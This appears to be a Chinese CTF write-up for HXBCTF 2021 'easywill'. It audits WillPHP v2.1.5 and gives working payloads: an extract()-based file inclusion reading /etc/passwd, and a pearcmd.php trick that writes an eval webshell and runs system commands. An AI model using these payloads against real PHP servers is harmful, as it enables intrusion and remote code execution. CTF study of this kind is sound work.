[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)

  • [HXBCTF 2021]easywill
    • 1.WillPHP源码审计
    • 2.利用pearcmd.php文件包含getshell

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

[HXBCTF 2021]easywill

1.WillPHP源码审计


给了一小段源码

<?php
namespace home\controller;
class IndexController{public function index(){highlight_file(__FILE__);assign($_GET['name'],$_GET['value']);return view();}
}

版本WillPHP v2.1.5 ,官网我没找到旧版下载,去别的地方下了

assign函数

willphp\wiphp\View.php

<?php
/*** 框架视图处理类* @copyright Copyright(c) 2020 WillPHP* @author DaSongzi <24203741@qq.com/113344.com>* @version 2.1.1* @since 2021-05-31*/
namespace wiphp;
require PATH_TPLE.'/Tple.php';
class View {private static $_vars = [];public static function assign($name, $value = NULL) {if ($name != '') self::$_vars[$name] = $value;        //$name, $value传值给$_vars数组} public static function fetch($file = '', $vars = []) {if (!empty($vars)) self::$_vars = array_merge(self::$_vars, $vars);          define('__THEME__', C('theme'));define('VPATH', (THEME_ON)? PATH_VIEW.'/'.__THEME__ : PATH_VIEW);   $path = __MODULE__;if ($file == '') {$file = __ACTION__;} elseif (strpos($file, ':')) {list($path,$file) = explode(':', $file);} elseif (strpos($file, '/')) {$path = '';}if ($path == '') {$vfile = VPATH.'/'.$file.'.html';} else {$path = strtolower($path);$vfile = VPATH.'/'.$path.'/'.$file.'.html';}    if (!file_exists($vfile)) {App::halt($file.' 模板文件不存在。');} else {define('__RUNTIME__', App::getRuntime());   array_walk_recursive(self::$_vars, 'self::_parse_vars'); //处理输出\Tple::render($vfile, self::$_vars);}      }//删除反斜杠private static function _parse_vars(&$value, $key) {$value = stripslashes($value);}
}

willphp\wiphp\Tple.php看最后处理$vfile的Tple类中的render方法

 public static function render($vfile, $_vars = []) {$shtml_open = C('shtml_open');if (!$shtml_open || basename($vfile) == 'jump.shtml') {self::renderTo($vfile, $_vars);} else {$params = http_build_query(I());$sfile = md5(__MODULE__.basename($vfile).$params).'.shtml';$sfile = PATH_SHTML.'/'.$sfile;$ntime = time();$shtml_time = max(10, intval(C('shtml_time')));if (is_file($sfile) && filemtime($sfile) > ($ntime - $shtml_time)) {include $sfile;              } else {ob_start();self::renderTo($vfile, $_vars);$content = ob_get_contents();file_put_contents($sfile, $content);}}} public static function renderTo($vfile, $_vars = []) {$m = strtolower(__MODULE__);$cfile = 'view-'.$m.'_'.basename($vfile).'.php';if (basename($vfile) == 'jump.html') {$cfile = 'view-jump.html.php';}$cfile = PATH_VIEWC.'/'.$cfile;if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {$strs = self::comp(file_get_contents($vfile), $_vars);file_put_contents($cfile, $strs);}extract($_vars);include $cfile;}

跟进到这里,有extract和include,所以可以利用extact变量覆盖来进行任意文件读取
可以vscode下断点快速确认各参数的传递变化

/index.php?name=n3m4&value=v3lua


最终到renderTo方法时$_vars数组的值是我们index.php中传入的$_vars[name]=value
我们只需要让name为cfile,extact变量覆盖掉下面include的$cfile,即可进行任意文件包含

可以写出文件包含的payload:

/?name=cfile&value=/etc/passwd

2.利用pearcmd.php文件包含getshell

利用pearcmd.php写配置到/tmp/xiaoz.php(要用burp不然<>会被url编码)

pearcmd.php利用看这个师傅blog.csdn.net/rfrder/article/details/121042290,写得超好又容易懂!想要看更具体的底层代码分析就看Longlone师傅的博客longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/

试了一下短标签可以解析

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/xiaoz.php+-d+man_dir=<?eval($_POST['g']);?>+-s+

shell写入,执行命令

/?name=cfile&value=/tmp/xiaoz.phpg=system('cat /flag32897328937298hdwidh');

参考wp:
blog.csdn.net/Sapphire037/article/details/121386490
blog.csdn.net/weixin_43610673/article/details/121369384

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

[HXBCTF 2021]easywill writeup(WillPHP源码审计+利用pearcmd.php文件包含getshell)相关推荐

  1. php跨平台审计工具,php源码审计工具–PHP Source Auditor 4 released

    一个用perl写的php源码审计工具 注释by:Neeao All packed up & ready for your enjoyment:PHP Source Auditor 4! So, ...

  2. Java毕设项目茶店订购管理系统2021计算机(附源码+系统+数据库+LW)

    Java毕设项目茶店订购管理系统2021计算机(附源码+系统+数据库+LW) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也行) ...

  3. web漏洞-淡然qqyw图标点亮系统源码审计-sql注入篇

    未知cms 在测试过程中多数情况下会遇到常见的 DedeCMS(织梦).discuz(论坛类).wordpress(内容管理类) 等源码结构,这种一般采用非框架类开发(少部分框架类开发)对此类cms进 ...

  4. ​​​​Java毕设项目智慧公寓系统演示录屏2021计算机(附源码+系统+数据库+LW)

    Java毕设项目智慧公寓系统演示录屏2021计算机(附源码+系统+数据库+LW) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也 ...

  5. Java毕设项目在线交友系统2021计算机(附源码+系统+数据库+LW)

    Java毕设项目在线交友系统2021计算机(附源码+系统+数据库+LW) 项目运行 环境配置: Jdk1.8 + Tomcat8.5 + Mysql + HBuilderX(Webstorm也行)+ ...

  6. 【甄选靶场】Vulnhub百个项目渗透——项目三十:Node-1(源码审计)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目三十:Node-1(源码审计)

  7. Linux源码编译(一):从头文件说起

    Linux源码编译(一):从头文件说起 2013-04-10 14:37:24 分类: LINUX 在Linux体系结构章节中,主要让大家对Linux结构层次有一定的了解,没有过多的长篇大论,力求简结 ...

  8. c++ 退出函数_UCOSIII源码分析之——bsp_os.c文件分析

    点击上方公众号名称关注,获得更多内容 ✎ 编 者 悟 语 对于坚持做的人来说,每一次的"如期而至",其实并不需要什么"期待",也没有什么"悬念&quo ...

  9. CloudCompare源码分析:读取ply文件

    CloudCompare源码分析_读取ply文件 写这些博客的原因,是因为打算好好研究一下点云的各种库的源码,其中比较知名的是PCL(point cloud library)和CC(CloudComp ...

最新文章

  1. 一种高效快速的内存池实现(附源码)
  2. SecureCRT设置背景颜色和目录(文件夹)颜色
  3. WPF阴影效果(DropShadowEffect)
  4. ThinkPHP框架知识的注意点
  5. ThinkPHP的RBAC(基于角色权限控制)详解
  6. gts 什么是google_Google Analytics分析(GA)是什么?为什么全世界都在用
  7. element-ui的input加单位符号
  8. ios 倒数器_如何使用倒数计时器来停止游戏 – iOS [SWIFT] –
  9. 扁平卡通风毕业论文答辩PPT模板
  10. Pandas DataFrame为什么弃用.ix【个人看法】
  11. Android 外置 SD 卡写入权限问题
  12. 执行股票交易接口get提交方法如何获取三大指数的股票列表?
  13. 墨客科技执行董事袁英:MOAC区块链赋能实体产业的方案与实践
  14. 【Matlab人脸识别】BP神经网络人脸识别(含识别率)【含GUI源码 891期】
  15. 《动手学深度学习》task3_3 循环神经网络进阶
  16. 简述你计划使用的应用开发框架,及该框架的特点
  17. linux抓包工具的学习
  18. c语言计算特殊角的正弦值,特殊角的三角函数值表 常用的正余弦函数值
  19. php 设置文件过期时间,BAE 指定文件格式设置过期时间
  20. STM32驱动MLX90614红外测温模块

热门文章

  1. 【程序人生】一个程序员不敲代码改写专栏了,三个月收入……
  2. 创意矢量扁平化商务PPT模板
  3. BMS_汽车充电桩中的PGN到CAN_ID转换
  4. Arduino的Adafruit GFX图形库介绍(一)- 概述
  5. shell脚本学习第四天——bash内部变量,变量主串,变量替换
  6. 火影忍者ol HTML5,火影忍者OL网页版
  7. 记一次 STM32 ST-Link Utility芯片擦除与程序烧写失败问题
  8. 帕金森定律(Parkinson's Law)亦称“官场病”或“组织麻痹病”
  9. ORACLE如何进入rman,进入rman的方式
  10. RMAN 的优缺点及RMAN 备份及恢复步骤